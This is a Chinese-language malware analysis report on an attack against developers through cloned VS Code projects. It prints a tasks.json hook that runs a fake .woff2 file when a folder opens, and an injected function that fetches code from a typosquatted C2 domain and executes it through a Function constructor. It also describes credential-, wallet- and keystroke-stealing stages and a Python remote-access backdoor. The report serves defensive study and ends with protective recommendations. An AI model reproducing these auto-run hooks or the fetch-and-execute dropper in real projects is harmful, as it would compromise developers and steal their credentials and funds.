別再信任任何 Clone 下來的 VS Code 專案!
摘要
這份全面研究報告探討一種針對軟體開發人員的複雜網路攻擊手法,透過濫用整合開發環境 (IDE) 功能進行攻擊。研究特別聚焦於 Visual Studio Code (VS Code) 的 task 執行 hook 機制,此技術能在工作區初始化時自動執行程式碼。攻擊採用多階段傳遞模式,從最初的 JavaScript dropper 轉移到複雜的 Node.js 認證竊取程式 (BeaverTail),最後部署具持久性的 Python 遠端存取木馬 (InvisibleFerret)。報告提供感染途徑、程式碼層級執行流程,以及用來規避現代安全防護的高階隱匿技術之深入技術分析。透過剖析此惡意軟體的「雙堆疊(dual-stack)」架構,目標是讓開發人員與資安研究人員獲得防禦此類供應鏈威脅所需的洞察。
1. IDE 供應鏈攻擊簡介
現代軟體開發生命週期高度依賴自動化與協作工具。Visual Studio Code 作為使用最廣泛的 IDE 之一,提供「Tasks」功能來自動化重複性工作,例如建置、測試與 linting。然而這些功能也帶來顯著的攻擊面。若開發人員 clone 儲存庫並啟用「Trusted Workspace」模式,IDE 可能在無需進一步使用者介入的情況下執行預設任務 [1]。此研究分析威脅行為者如何將 .vscode/tasks.json 設定武器化,以啟動無聲感染鏈。
Clones
Malicious Repository] --> B{Trusted Workspace
Enabled?} B -- Yes --> C[VS Code Task:
folderOpen Triggered] B -- No --> D[Manual Application
Execution/Build] C --> E[Execute Malicious Script:
node .woff2] D --> F[App Logic Hook:
getPassport Function] E --> G[Stage 1:
Dynamic JavaScript Dropper] F --> G G --> H[C2 Communication:
chainlink-api-v3.com] H --> I[Stage 2:
BeaverTail Node.js
Controller] I --> J[Data Exfiltration:
Wallets, Keys,
Browser Data] I --> K[Stage 3:
InvisibleFerret
Python Backdoor] K --> L[Long-term Persistence
& Remote Command Execution]
2. 感染途徑詳細分析
分析的攻擊行動採用 Redundant Infection 策略,確保即使開發人員遵循安全編碼實務或繞過部分 IDE 功能,惡意軟體仍能執行。
2.1 VS Code Task Hijacking 機制
主要感染途徑是濫用位於 .vscode 目錄下的 tasks.json 檔案。攻擊者定義一個具 runOn: folderOpen 屬性的任務。此屬性特別危險,因為只要工作區以「Trusted」狀態開啟,就會觸發命令執行。為了在手動檢查時規避偵測,惡意命令指向具 .woff2 副檔名的檔案,此副檔名通常與網頁字型相關。
- {
- // .vscode/tasks.json
- "label": "eslint-check",
- "type": "shell",
- // The command executes a JavaScript payload hidden in a fake font file.
- // This masquerading technique bypasses simple file-extension filters.
- "command": "node public/font/fa-brands-regular.woff2",
- "runOptions": {
- // This ensures the task runs automatically when the folder is opened.
- // It is the critical trigger for the initial infection.
- "runOn": "folderOpen"
- }
- }
2.2 應用程式邏輯 Hijacking 與 Hook
在 VS Code task 無法執行的情境下,惡意軟體依賴次要途徑:應用程式邏輯劫持。攻擊者修改儲存庫內的合法原始碼檔案,植入惡意 hook。在研究案例中,server/routes/api/profile.js 檔案遭到竄改。getPassport 函式被注入程式碼,啟動與 typosquatted 命令與控制 (C2) 域名的連線。
- // server/routes/api/profile.js
- // The domain 'chainlink-api-v3.com' is a typosquatted version of a legitimate API.
- const domain = "chainlink-api-v3.com";
- const subdomain = "api/service/token";
- const id = "b2040f01294c183945fdbe487022cf8e";
- const getPassport = () => {
- // The malware fetches the next stage payload via an axios GET request.
- // The C2 server is specifically configured to return the payload within
- // the body of a non-200 HTTP error response (e.g., 404 Not Found).
- axios.get(`http://${domain}/${subdomain}/${id}`)
- .then(res => res.data)
- .catch(err => errorHandler(err.response.data || "404"));
- }
3. 多階段惡意軟體架構與執行流程
惡意軟體架構設計注重模組化與規避,在各階段使用不同程式語言與執行環境。
3.1 第一階段:動態 JavaScript Dropper
第一階段為輕量級 JavaScript dropper,採用獨特的「Error-Based Delivery」機制。dropper 不期待在標準 200 OK 回應中收到惡意 payload,而是預期 payload 嵌入 HTTP 錯誤回應的主體。此技術能有效規避僅檢查成功交易的網路安全設備。之後 dropper 使用 Function 建構式,在記憶體中編譯並執行收到的字串。
- const errorHandler = (error) => {
- try {
- const createHandler = (errCode) => {
- try {
- // Dynamic compilation of the error string into an executable function.
- // The 'require' module is passed as an argument to allow the payload
- // to import additional Node.js modules.
- const handler = new (Function.constructor)('require', errCode);
- return handler;
- } catch (e) { return null; }
- };
- const handlerFunc = createHandler(error);
- if (handlerFunc) {
- // Execution of the Stage 2 payload (BeaverTail).
- handlerFunc(require);
- }
- } catch (globalError) { }
- };
3.2 第二階段:BeaverTail (Node.js Controller)
BeaverTail 作為主要資料外洩模組與最終階段的載入器。它是複雜的 Node.js 腳本,主要在記憶體中運作以避開傳統基於檔案的防毒軟體。此腳本常使用變數重新命名(Variable Renaming)、字串陣列映射(String Array Mapping)與控制流平坦化(Control Flow Flattening)等技術進行高度混淆。其技術能力廣泛且針對性強:
- 瀏覽器資料擷取: 惡意軟體特別針對 Chromium 核心瀏覽器(例如 Google Chrome、Brave、Microsoft Edge)。它會尋找 'Local State' 檔案來解密主金鑰,接著從使用者設定檔目錄的 SQLite 資料庫中擷取儲存的密碼、信用卡資訊與 session cookie。
- 加密貨幣錢包竊取: BeaverTail 掃描本機檔案系統中與加密貨幣錢包相關的特定目錄結構。它針對多種平台,包括 Atomic Wallet、Exodus、Electrum,以及 MetaMask、Coinbase Wallet 等瀏覽器擴充功能。竊取的錢包檔案會經過壓縮後外傳至 C2 伺服器。
- 進階監控模組: 惡意軟體使用 node-global-key-listener 套件實作全域鍵盤記錄器。此外利用 screenshot-desktop 捕捉受害者桌面高解析度畫面。這些擷取通常由特定使用者互動觸發,例如滑鼠點擊或按下 'Enter' 鍵,確保表單輸入的敏感資訊被捕捉。
- Payload 轉換與環境準備: 初始資料竊取完成後,BeaverTail 為下一階段準備環境。它檢查 Python 解譯器是否存在,必要時下載可攜式 Python 環境。接著取得第三階段 payload (InvisibleFerret) 並以背景程序執行。
3.3 第三階段:InvisibleFerret (Python Backdoor)
InvisibleFerret 為全面的 Python 遠端存取木馬 (RAT),為攻擊者在受害者環境中提供持久立足點。與記憶體常駐的 BeaverTail 不同,InvisibleFerret 設計用於長期運作與遠端命令執行。此後門包含超過 100 個函式,每個專注特定任務,從系統偵察到自動化資料採集。
InvisibleFerret 的核心組件之一是 Remote Shell 功能,讓攻擊者能在受害者機器上執行任意 shell 命令並即時接收輸出。與 C2 伺服器的通訊通常經過加密,並使用自訂協定混入合法網頁流量。此外,惡意軟體包含 File Manager 模組,讓攻擊者瀏覽整個檔案系統、上傳額外惡意工具,或下載敏感原始碼與文件。
InvisibleFerret 也具備針對開發者工具的專門模組,用來擷取 SSH key、AWS 認證與環境變數(.env 檔案)中常見的 API key 與資料庫密碼。為維持持久性,惡意軟體可能修改系統啟動腳本或建立排程任務,確保系統重開機後仍繼續運作。此 Python 後門的複雜度顯示威脅行為者在針對高價值開發者目標的長期存取上投入大量資源。
4. 命令與控制 (C2) 基礎架構與網路行為
惡意軟體的網路行為與其本地執行邏輯同樣精密。威脅行為者使用分散式基礎架構管理受害者並外傳資料。本次行動識別的主要 C2 域名 chainlink-api-v3.com 為典型的 typosquatting,設計來模仿合法區塊鏈相關服務。此域名選擇具策略性,因為從事加密貨幣或金融科技專案的開發者較不易對指向看似知名生態系一部分的域名產生懷疑。
惡意軟體與 C2 伺服器間的通訊協定設計用來規避網路層級偵測。透過使用標準 HTTP/HTTPS 連接埠並模仿合法 API 請求,流量常與典型開發環境產生的大量網頁流量混雜。此外,使用非標準 HTTP 回應碼傳遞 payload 為資安分析增加額外複雜度。大多數自動化沙箱與網路監控工具會調整來檢查成功 (200 OK) 回應的主體;攻擊者將惡意程式碼隱藏在 404 或 500 錯誤主體中,利用安全監控的常見盲點。
資料外洩通常以小型加密 chunk 進行,避免因大量外傳資料觸發警報。竊取的認證、錢包檔案與螢幕截圖常上傳至不同端點甚至不同域名,進一步分散基礎架構。此模組化 C2 通訊方式確保即使某域名被識別並封鎖,攻擊者仍可快速輪換至新基礎架構,而不失去對整個 botnet 的控制。
5. 進階混淆與規避技術
此次攻擊行動展現高度技術精密性,試圖保持不被偵測。如 hoeasys.com 技術研究 [2] 所述,此類攻擊常使用 Hexadecimal Encoding 與 Dynamic Decoding 隱藏真實意圖。此方式對依賴模式比對已知惡意字串的靜態分析工具特別有效。
例如 C2 URL、檔案路徑與模組名稱等關鍵字串常編碼為十六進位值。執行期間,惡意軟體使用 String.fromCharCode() 等函式重建這些字串。此做法防止簡單靜態分析工具因已知惡意域名或可疑 API 呼叫而標記程式碼。
| 規避技術 | 技術實作 | 安全影響 |
|---|---|---|
| Hexadecimal Encoding | 將字串編碼為 ASCII 十六進位值 (e.g., "68 65 6c 6c 6f"). | 繞過字串匹配式簽章檢測與人工程式碼審查。 |
| Dynamic Function Construction |
使用
new Function()
執行從網路取得的程式碼。
|
阻止靜態分析識別完整的惡意邏輯。 |
| File Masquerading |
將惡意 JavaScript 檔案命名為
.woff2
或
.png
副檔名。
|
欺騙開發者和簡單的檔案類型過濾器。 |
| Error-Based Payload Delivery | 在HTTP 404/500錯誤回應體中隱藏惡意程式碼。 | 可繞過專注於成功(200 OK)流量的網路檢查工具。 |
| In-Memory Execution | 執行第二階段有效 Payload,但不將其寫入磁碟。 | 降低數位鑑識足跡,並避開傳統檔案比對型防毒。 |
6. 結論與策略建議
濫用 VS Code Tasks 等 IDE 功能代表供應鏈攻擊格局的重大轉變。透過針對開發人員信任的工具,攻擊者能繞過傳統安全防護並存取高度敏感環境。惡意軟體的「雙堆疊」架構——結合 Node.js 進行即時竊取與 Python 進行長期持久性——展現針對網路間諜與財務竊取的策略性手法。
為防禦此類威脅,開發人員與組織應對外部程式碼儲存庫採用「Zero Trust」方式。主要建議包括:
- 限制 Trusted Workspaces: 除非來源已驗證且儲存庫經過稽核,否則絕不對工作區授予「Trust」。
- 稽核 IDE 設定: 定期檢查 .vscode/tasks.json 與 .vscode/settings.json 是否有可疑自動化任務。
- 網路分段: 對開發機器實作嚴格的外連流量規則,封鎖存取未驗證或 typosquatted 域名。
- 使用供應鏈安全工具: 部署能偵測專案相依性與設定中混淆程式碼及惡意模式的工具。